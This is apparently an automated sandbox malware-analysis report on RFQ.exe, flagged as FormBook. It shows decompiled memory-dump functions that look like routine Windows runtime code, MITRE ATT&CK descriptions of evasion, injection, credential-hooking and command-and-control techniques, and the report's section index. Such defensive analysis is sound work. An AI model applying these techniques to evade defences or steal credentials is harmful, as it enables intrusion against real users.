			E046616E0(void* __edx, void* __eflags) {
				void* __ecx;
				void* _t3;

				_t3 = E04661710(0x47267e0);
				if(_t3 == 0) {
					_t6 =  *[fs:0x30];
					if( *((intOrPtr*)( *[fs:0x30] + 0x18)) == 0) {
						goto L1;
					} else {
						return L04654620(_t6,  *((intOrPtr*)(_t6 + 0x18)), 0, 0x20);
					}
				} else {
					L1:
					return _t3;
				}
			}

0x046616e8
0x046616ef
0x046616f3
0x046616fe
0x00000000
0x04661700
0x0466170d
0x0466170d
0x046616f2
0x046616f2
0x046616f2
0x046616f2

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 307a75242bbbb28baea21ba1e52509713803e05d3ab68949c8fa7bbf2c374287
Instruction ID: 182fbd7dc90ff59db8557fee9dfdaf7180da26103517f56e92f632fff4754b49
Opcode Fuzzy Hash: 307a75242bbbb28baea21ba1e52509713803e05d3ab68949c8fa7bbf2c374287
Instruction Fuzzy Hash: 6ED0A77130014056FA2D5B109C14B542256DBD1789F38006CF517996D0EFB0FCA2E44C

Uniqueness

Uniqueness Score: -1.00%

Function 046B53CA, Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E046B53CA(void* __ebx) {
				intOrPtr _t7;
				void* _t13;
				void* _t14;
				intOrPtr _t15;
				void* _t16;

				_t13 = __ebx;
				if( *((char*)(_t16 - 0x65)) != 0) {
					E0464EB70(_t14,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					_t7 =  *((intOrPtr*)(_t16 - 0x64));
					_t15 =  *((intOrPtr*)(_t16 - 0x6c));
				}
				if(_t15 != 0) {
					L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13, _t15);
					return  *((intOrPtr*)(_t16 - 0x64));
				}
				return _t7;
			}

0x046b53ca
0x046b53ce
0x046b53d9
0x046b53de
0x046b53e1
0x046b53e1
0x046b53e6
0x046b53f3
0x00000000
0x046b53f8
0x046b53fb

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction ID: fc27be1b38762bf6ceea6f3ff56a2ef84663093d2f390def5313718ffa72407d
Opcode Fuzzy Hash: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction Fuzzy Hash: ADE08C31900780ABCF12EB88C650F8EB7F5FB84B04F140008A4095B720E624BC00CB40

Uniqueness

Uniqueness Score: -1.00%

Function 046635A1, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E046635A1(void* __eax, void* __ebx, void* __ecx) {
				void* _t6;
				void* _t10;
				void* _t11;

				_t10 = __ecx;
				_t6 = __eax;
				if( *((intOrPtr*)(_t11 - 0x34)) >= 0 && __ebx != 0) {
					 *((intOrPtr*)(__ecx + 0x294)) =  *((intOrPtr*)(__ecx + 0x294)) + 1;
				}
				if( *((char*)(_t11 - 0x1a)) != 0) {
					return E0464EB70(_t10,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				}
				return _t6;
			}

0x046635a1
0x046635a1
0x046635a5
0x046635ab
0x046635ab
0x046635b5
0x00000000
0x046635c1
0x046635b7

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction ID: 182c7d796caa669801b4b9d2b0d8c8cf38f266cce7982f8829e180bd3c2a13ae
Opcode Fuzzy Hash: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction Fuzzy Hash: A8D0A9315011809AEB01AB50C23876833B3BB00308F58206988030FB52E33A6E8AD605

Uniqueness

Uniqueness Score: -1.00%

Function 0464AAB0, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0464AAB0() {
				intOrPtr* _t4;

				_t4 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t4 != 0) {
					if( *_t4 == 0) {
						goto L1;
					} else {
						return  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x1e;
					}
				} else {
					L1:
					return 0x7ffe0030;
				}
			}

0x0464aab6
0x0464aabb
0x0469a442
0x00000000
0x0469a448
0x0469a454
0x0469a454
0x0464aac1
0x0464aac1
0x0464aac6
0x0464aac6

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction ID: 972a8cf330010b1d6b58f9685f5a0365e823bdf179a9ededb1beec87944ff187
Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction Fuzzy Hash: D9D0E935352A80DFDB16CF5DC958B1573E8BB54B44FC50490E541CBB61E66CED84CA00

Uniqueness

Uniqueness Score: -1.00%

Function 046BA537, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E046BA537(intOrPtr _a4, intOrPtr _a8) {

				return L04658E10( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a8, _a4);
			}

0x046ba553

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction ID: 58fd642b858a9386e7b1f53cbd24818d37ad083c6249369140dd678b0494cd52
Opcode Fuzzy Hash: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction Fuzzy Hash: 90C01232080248BBCB126F81CC00F067B2AEB94B60F008014BA080B9708632E970EA88

Uniqueness

Uniqueness Score: -1.00%

Function 0463DB40, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0463DB40() {
				signed int* _t3;
				void* _t5;

				_t3 = L04654620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x64);
				if(_t3 == 0) {
					return 0;
				} else {
					 *_t3 =  *_t3 | 0x00000400;
					return _t3;
				}
			}

0x0463db4d
0x0463db54
0x0463db5f
0x0463db56
0x0463db56
0x0463db5c
0x0463db5c

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction ID: 123198b63a75887e2265bdddf7a7fd5053763b4a540882937a1630e03c0388b7
Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction Fuzzy Hash: 2AC08C70380A40AAEB221F20CD01B0036A1BB10B46F4400E06702DA0F0EF78E801EA00

Uniqueness

Uniqueness Score: -1.00%

Function 0463AD30, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0463AD30(intOrPtr _a4) {

				return L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x0463ad49

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction ID: 1edd8a2946268e84f738a7c8006299442dd759381a1b26d3a98bf5e55d1bf908
Opcode Fuzzy Hash: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction Fuzzy Hash: 7AC08C32080248BBC7126A45DD00F017F29E790B60F000020FA040A6718932E860D588

Uniqueness

Uniqueness Score: -1.00%

Function 046476E2, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E046476E2(void* __ecx) {
				void* _t5;

				if(__ecx != 0 && ( *(__ecx + 0x20) & 0x00000040) == 0) {
					return L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
				return _t5;
			}

0x046476e4
0x00000000
0x046476f8
0x046476fd

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction ID: 8e6e8ec4f4f99330967c36ffa8dc630dfad1b65a20fc859d2184dd4872b485bb
Opcode Fuzzy Hash: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction Fuzzy Hash: D3C08C702411805AEF2A6B08CE20B203A52AB5870AF48019CEA01096B1E368B802C208

Uniqueness

Uniqueness Score: -1.00%

Function 046636CC, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E046636CC(void* __ecx) {

				if(__ecx > 0x7fffffff) {
					return 0;
				} else {
					return L04654620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
			}

0x046636d2
0x046636e8
0x046636d4
0x046636e5
0x046636e5

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction ID: 6796d3797dd7299206c24aaca29a45c8e19090f80b524b51628f300a6933eab3
Opcode Fuzzy Hash: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction Fuzzy Hash: B8C02B70358480FBE7151F30CD00F147254F700A21F6403987322896F0FD28BC40D504

Uniqueness

Uniqueness Score: -1.00%

Function 04653A1C, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04653A1C(intOrPtr _a4) {
				void* _t5;

				return L04654620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x04653a35

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction ID: 97ed94bb971eeb550963965b47eb327b83e308cb5dfcd41c1e8eec46ce6fa41a
Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction Fuzzy Hash: 43C08C32180248BBC7126E41DC00F017B29E790B60F000020BA040A5708932ECA0D98C

Uniqueness

Uniqueness Score: -1.00%

Function 04657D50, Relevance: .0, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04657D50() {
				intOrPtr* _t3;

				_t3 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t3 != 0) {
					return  *_t3;
				} else {
					return _t3;
				}
			}

0x04657d56
0x04657d5b
0x04657d60
0x04657d5d
0x04657d5d
0x04657d5d

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction ID: 2fa36ac825a8c82253a3ef76e4885ce1655ae11237331d209a8b6ff37dc3234e
Opcode Fuzzy Hash: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction Fuzzy Hash: A0B092343019408FCF26DF18C080B1533E4FB44A40F8400D1E800CBA20E229E8008900

Uniqueness

Uniqueness Score: -1.00%

Function 04662ACB, Relevance: .0, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04662ACB() {
				void* _t5;

				return E0464EB70(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
			}

0x04662adc

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction ID: 319ced77882ef3c75c1e12b0f9d7319a941bee772ea665d0c5032edc07ef6815
Opcode Fuzzy Hash: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction Fuzzy Hash: 8AB01232C10840CFCF02FF80C710B197331FB40750F054494900127930C229BC01CB40

Uniqueness

Uniqueness Score: -1.00%

Function 046CFDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E046CFDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E0467CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E046C5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E046C5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x046cfdda
0x046cfde2
0x046cfde5
0x046cfdec
0x046cfdfa
0x046cfdff
0x046cfe0a
0x046cfe0f
0x046cfe17
0x046cfe1e
0x046cfe19
0x046cfe19
0x046cfe19
0x046cfe20
0x046cfe21
0x046cfe22
0x046cfe25
0x046cfe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 046CFDFA

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 046CFE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 046CFE01

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 33cf1600d6e565e152101524d1d6c9e150e58566bb143341d1a8cd5bb8bbae08
Instruction ID: 2198ee41d8aa3505381ce29fab15045ea5739d864554eb3bddd9fee208ab4542
Opcode Fuzzy Hash: 33cf1600d6e565e152101524d1d6c9e150e58566bb143341d1a8cd5bb8bbae08
Instruction Fuzzy Hash: 6CF0F672240611BFE6241A45DC0AF33BB5AEB44730F244318F628561E1FA62F8609AF8

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report RFQ.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph